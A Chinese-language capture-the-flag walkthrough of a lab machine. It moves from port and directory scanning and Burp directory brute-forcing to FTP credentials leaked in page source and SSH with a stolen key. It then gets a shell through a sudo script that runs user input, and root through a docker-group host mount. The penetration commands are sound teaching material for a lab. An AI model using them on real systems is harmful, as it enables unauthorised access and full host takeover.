渗透思路:
nmap扫描端口 ---- gobuster扫描网站目录 ---- burp爆破网站目录 ---- 网站源代码泄露ftp用户名密码 ---- ariana用户用id_rsa进行ssh登录 ---- sudo bash脚本提权到selena ---- 利用docker越权查看文件
环境信息:
靶机:192.168.101.107
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sC -sV -p- 192.168.101.107
扫描到21(ftp)、22(ssh)、80(http)端口
![](https://img-blog.csdnimg.cn/img_convert/87ca1c2e7047052797a2d2602cafafd7.png)
2、gobuster扫描网站目录
gobuster dir -u http://192.168.101.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫描到/nothing和/hidden_text
![](https://img-blog.csdnimg.cn/img_convert/51ed08560e0b94c5362815c0221d681e.png)
3、burp爆破网站目录
http://192.168.101.107/hidden_text/是一个目录,其中有一个文件secret.dic,看上去是个目录字典
![](https://img-blog.csdnimg.cn/img_convert/c768c8099a17e3777886fa8fe3de8f5e.png)
http://192.168.101.107/hidden_text/secret.dic
![](https://img-blog.csdnimg.cn/img_convert/d917efa817e5d8f789cd4682bdeb01ec.png)
用burp的intruder模块对网站目录进行爆破,爆破位置如下图所示
![](https://img-blog.csdnimg.cn/img_convert/6b44e3d4e47ee1926931d17ad13bd818.png)
payload粘贴http://192.168.101.107/hidden_text/secret.dic中的内容
![](https://img-blog.csdnimg.cn/img_convert/7963a877ce1d166225e3566b94575b0b.png)
不要勾选URL-encode these characters
![](https://img-blog.csdnimg.cn/img_convert/accf37af479af078f51a56e5befe7128.png)
按Start attack开始爆破,爆破结果中只有/pwned.vuln状态码是301,其他都是404
![](https://img-blog.csdnimg.cn/img_convert/514859082c8ecead3c436db148183135.png)
4、网页源代码泄露ftp用户名密码
访问http://192.168.101.107/pwned.vuln/,是一个登录页面,查看网页源代码发现被注释掉的php代码
![](https://img-blog.csdnimg.cn/img_convert/14cc37757b65477364fdc430b83b15df.png)
上图红框中的代码泄露了用户名为ftpuser,密码为B0ss_B!TcH
但这对用户名密码无法用于网站登录,因此想到尝试ftp登录
ftp 192.168.101.107
用户名和密码分别为ftpuser和B0ss_B!TcH,登录成功,发现share文件夹,进入share文件夹后发现两个文件:
id_rsa和note.txt
![](https://img-blog.csdnimg.cn/img_convert/c18505b2ef8a874c4e67b48e6cccb066.png)
下载这两个文件
ftp> get note.txt
ftp> get id_rsa
![](https://img-blog.csdnimg.cn/img_convert/a68a9462e15311a1c2c46bfdbbf7705e.png)
5、ariana用户用id_rsa进行ssh登录
note.txt泄露了用户名ariana,可以猜测id_rsa属于ariana
![](https://img-blog.csdnimg.cn/img_convert/c212800cb563e31257b3cfad9c68fdbc.png)
ariana进行ssh登录
ssh -i id_rsa ariana@192.168.101.107
登录成功,得到第一个flag
![](https://img-blog.csdnimg.cn/img_convert/879ed242e972252ba28c50d73debadd3.png)
6、sudo bash脚本提权到selena
执行sudo -l
发现ariana可以在不需要输入密码的情况下以selena的身份sudo执行/home/messenger.sh
![](https://img-blog.csdnimg.cn/img_convert/2a2c9bb370a1de580b2957de966e7468.png)
/home/messenger.sh内容如下,$msg(也就是提示符"Enter message for $name :"之后输入的内容)将被作为bash命令执行
#!/bin/bash
clear
echo "Welcome to linux.messenger "
echo ""
users=$(cat /etc/passwd | grep home | cut -d/ -f 3)
echo ""
echo "$users"
echo ""
read -p "Enter username to send message : " name
echo ""
read -p "Enter message for $name :" msg
echo ""
echo "Sending message to $name "
$msg 2> /dev/null
echo ""
echo "Message sent to $name :) "
echo ""
sudo执行 /home/messenger.sh
sudo -u selena /home/messenger.sh
在提示"Enter username to send message : "后面随便输入些字母,然后在提示"Enter message for $name :"之后输入bash,即可进入selena的shell。
在/home/selena/user2.txt中有第二个flag
![](https://img-blog.csdnimg.cn/img_convert/35bf860e44ae75a8bab0df14af288374.png)
7、利用docker提权到root
同时注意到,selena是docker组的用户。
在docker | GTFOBins中可以看到,当用户属于docker组时,有运行docker的权限,从而可以利用docker命令将靶机根目录挂载到靶机内某个新容器的目录下,进而利用容器的root用户越权查看靶机上的文件。
![](https://img-blog.csdnimg.cn/img_convert/eb6db27aab063c9627f81f89065269ec.png)
执行如下命令将靶机的根目录挂载到alpine镜像(不一定非要用这个镜像,只要是靶机上有的镜像就行,靶机上没有也可以从攻击机上下载)创建的新容器的/mnt目录,并将/mnt目录设置为根目录
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
![](https://img-blog.csdnimg.cn/img_convert/c34f18b0a0bb4581cb21c57232339abc.png)
在/root/root.txt中有第三个flag